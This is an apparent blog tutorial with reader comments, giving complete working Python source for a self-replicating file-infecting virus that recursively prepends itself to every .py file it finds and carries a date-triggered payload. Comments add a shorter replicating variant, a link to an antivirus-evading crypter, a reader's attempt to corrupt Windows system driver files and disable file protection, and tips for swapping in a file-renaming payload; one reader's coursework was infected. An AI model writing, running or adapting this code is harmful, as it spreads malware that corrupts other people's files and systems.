Skip to content

How to Make a Simple Computer Virus with Python

May 10, 2012

A great way to test your skills in a computer language is to try making a computer virus with that language. Python seems to be the hot language right now… so let’s make a Python virus.

If your language of choice is PHP, I already created a PHP virus here.

Let’s start with the source code:


#!/usr/bin/python
import os
import datetime
SIGNATURE = "CRANKLIN PYTHON VIRUS"
def search(path):
    filestoinfect = []
    filelist = os.listdir(path)
    for fname in filelist:
        if os.path.isdir(path+"/"+fname):
            filestoinfect.extend(search(path+"/"+fname))
        elif fname[-3:] == ".py":
            infected = False
            for line in open(path+"/"+fname):
                if SIGNATURE in line:
                    infected = True
                    break
            if infected == False:
                filestoinfect.append(path+"/"+fname)
    return filestoinfect
def infect(filestoinfect):
    virus = open(os.path.abspath(__file__))
    virusstring = ""
    for i,line in enumerate(virus):
        if i>=0 and i <39:
            virusstring += line
    virus.close
    for fname in filestoinfect:
        f = open(fname)
        temp = f.read()
        f.close()
        f = open(fname,"w")
        f.write(virusstring + temp)
        f.close()
def bomb():
    if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:
        print "HAPPY BIRTHDAY CRANKLIN!"
filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)
bomb()

You can also download the source code from github.

This is just an educational python virus that infects .py files. You’ll notice there are 3 parts to the virus. Search, infect, bomb. It works exactly like the PHP virus.

Search recurses through the current folder and finds .py files. If the file is already infected, it skips it. Otherwise, it adds it to the list of files to be infected.

Infect grabs the virus portion of the code from itself and prepends it to each of the victim files. This way, everytime each of the infected python files run, it runs the virus first.

Bomb is the portion of the code that gets triggered by a date. In this case, it is triggered by my birthdate and prints a harmless “HAPPY BIRTHDAY CRANKLIN!” message to the screen.

Even though it’s a harmless virus, it IS still a virus and should be used with caution. Try not to run it from the document root of your django website. :)

Enjoy…

About these ads

From → Hacks

40 Comments
  1. This virus and others may be detected by antiviruses, unless you use something called a crypter. You can find an explanation of a crypter, and even download one here: http://hackerstoolbox.wordpress.com/2012/06/16/fully-undetectable-crypter-c/

    • John Smith permalink

      That page looks pretty damn sketchy… im assuming that’s some sort of code obfuscator (though can’t really tell from the page tbh). What would be the benefit of using a C++ tool on python code?

  2. Great post!!! Can i have ur email(or skype if u use it)? i got one question about the post

    • sure. What kind of question do you have?

      • For the 3rd last line, why you put an empty string there? did u do it on purpose and leave it for the user to put an actual file path?
        I consider the function boom as an unnecessary part of this simple virus, we dont actually need it to get the virus work. am i right?
        Last one, __file__ doesn’t work on my machine. any suggestions?

        THANKS A LOT FOR THE GREAT POST!!

    • Hi, I’m so sorry for the late reply. Things have been crazy over here.
      The empty string passed to os.path.abspath()? os.path.abspath(“”) returns the current working directory. Essentially, it is the same as doing os.getcwd()
      __file__ doesn’t work on your machine? What OS are you using?

    • Try adding:
      import inspect

      and then adding:
      this_file = inspect.currentframe().f_code.co_filename

      and using this_file rather than __file__
      Then change the line where it says “i < 39″ to “i < 41″

    • Yes, you are correct. The “bomb()” method is unnecessary for the virus to function. :)

  3. fred-letsroll permalink

    hello there…im quite new to python but im working on a virus…my file opens system32\drivers dll files and writes some text in it corrupting them. but the problem is that whenever the file is infected, win7 would boot to repair your computer mode and replace those files :(

    according to me a virus just corrupts sensitive files preventing booting and others..

    its so confusing how you spread-ed your virus…ur code is complicated for a beginner like me…can u help me??

    • Hi Fred. The purpose of this virus is just to demonstrate file to file replication. A computer virus, at its core, is simply a file that replicates itself. Each of those infected files, in turn, continue to replicate itself. In your case, you are trying to infect a windows file. If that file fails a checksum, windows will replace it with an uninfected copy.

      • fred-letsroll permalink

        yes cranklin ur correct. but as a precaution i have written a code to disable the windows protection service which wud stop this replacement.
        and how can i replicate my virus i.e. spreading. *only for educational purpose*

        its a project at my college and i have chosen to make a virus which is quite complex…can u help me?

      • ahh I see. I would love to help you but it’s been so long since I’ve used windows. I’m on linux here. Please inform me of your findings. I’d love to know about it.

      • Yuri byxapn permalink

        hi man thanks for your time….what do you mean like reply …do you mean it’s a warm virus.

  4. fred-letsroll permalink

    oh :0 :(
    I tried a code of my own to replicate the file but ended in failure…I would be glad if could hep me resolve this issue.

  5. BobSmith permalink

    could i replace the effect? like have it rename files instead of saying “happy birthday”

  6. BobSmith permalink

    could you email me the answer: juanlapoyo@gmail.com

    • John Smith permalink

      Easy, don’t know how good you are at Python but basically you just do something a little like this:

      from subprocess import call # grab call function
      call(['REN', 'old file name', 'new file name'], shell=false, stdout=None)

      this is windows only (though for linux all you do is change ‘REN’ to ‘mv’) and also pretty sure this will hide the command prompt from coming up… though don’t really feel like testing it right now.

    • John Smith permalink

      Also just remembered you could do this in a multi-platform way by using the OS module:

      import os
      os.rename(‘old file name’, ‘new file name’)

  7. ryo0071772 permalink

    Great tutorial.

    I have a question, I have been doing research in my English class on computer viruses and worms and have already completed a research paper. I am thinking of doing a tutorial on a computer virus for my final project. Now, this being an Engish class I don’t really have much experience with programming (the topic just interests me) so I would like to get permission to use your code and write the tutorial section of the project about it. (I would also like to modify portions to, for example, make it more readable, by changing fname to file_name so my teacher and fellow classmates can understand it better). I would, of course give you credit and link/include your blog.

  8. AIFreak permalink

    Great tutorial, it helped me a lot! But there’s a thing I still don’t understand: How does a “professional” virus infect .exe files (or similar)? You cant’t compile .exe to python, so how does it change the code?

    • Thank you and that’s an excellent question. Simple answer is that you can’t with Python. I was actually planning on posting some old text files written by well-known virus creators that help explain this. In a nutshell, an assembly language virus would split itself and the host file into two parts (first part being equal sizes), and JMPing to the address of the first instruction set of the 2nd part of the virus. While in memory, the first part of the host is copied back into its rightful place in order for the program to operate normally. I know it’s a little tough to visualize, but I’ll upload some text files soon which should clarify this.

  9. oliver permalink

    how do you run it on raspberry pi

    • that’s an excellent question Oliver. I haven’t tried running it on a rpi, but I would run it just like you would run it on any other computer.

    • John Smith permalink

      If I remember correctly Raspberry Pi runs a Debian distro complied to run on an ARM processor (think it’s called Raspian or something like that). So Oliver is correct, just bring up the shell, type “python” then whatever you name this file.

      • John Smith permalink

        Edit:

        Ment to say “So cranklin* is correct”

  10. bstea permalink

    smaller virus:

    #!/usr/bin/env python
    from glob import glob
    v=open(__file__, ‘r’).readlines()[:7]
    for f in glob(‘*.py’):
    p=open(f, ‘r+’).readlines()
    if not p[2].startswith(‘v=open’):
    open(f, ‘r+’).writelines(v+p)

  11. Does it always require python compiler to be present on the infected PC for it to execute. Cant we make any executable file which executes automatically just like any other real virus ?

    • Surya Teja permalink

      well if you haven’t build the executable then ul need the compiler but if you have, then no need of it

      By default, this program needs the compiler to run

  12. Andy permalink

    Hey, just wondering. BTW, the code is really helpful. But if you changed

    filestoinfect = search(os.path.abspath(“”))

    To say

    filestoinfect = search(os.path.join(os.path.expanduser(‘~’), ‘Desktop’))

    Would it work?

  13. Ok, I’m New To Python But I’m At A Level Where I Can Code A Basic Game Of Hangman and A Basic Make Believe IP Address File Grabber (Don’t Ask…)… But, I Used Your Virus And I Accidentally Saved It Whilst I Was Working On A School Computer Science Project And Now Everytime I Try And Open My Code To Work On It, It Starts Up As A Batch File And Crashes When The Code Has Reached The Bottom… It Even Does This When I’m Trying To Open The Actual .py file… I Really Need A Way Of Stopping This REAL Quick As It’s A 25% Mark For My Coursework!
    I’ve tried deleting the file I had saved that encountered the virus code and no difference!

    • Jamie, it only runs if it is executed. You can always edit the “infected” files and remove the lines of code that belong to the virus.

      • I Saw That Just After I Posted Here and The Struggle Is That The Virus Is In A Python File Somewhere On My HDD… It Seems To Just Go Into An Un-stoppable Loop… I Save The Dis-Infected Files Without Virus Code And Do The Same For All My Python Files And As Soon As I Go To Save I Get A Message Along The Lines Of “pythonfile.py Has Been Changed By A Different Program, Would You Like To Update It?” <— The Un-Ending Loop…

        *ediT*: Ever Since I Have Deleted The Source File, I Can Access Notepad++ and Open It Through That But It Would Be Nice To Just Use IDLE As Notepad Has Masses Upon Masses Of Uneeded Buttons For Python Coding!

      • Jamie, it sounds like you’re using Windows. If you were using *nix or osx, I’d tell you to simply run: grep -r -l “CRANKLIN PYTHON VIRUS” .
        as this would list all the files that are infected. I would find a Windows equivalent command in either powershell, cygwin, or something else.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

Follow

Get every new post delivered to your Inbox.

Join 1,487 other followers

%d bloggers like this: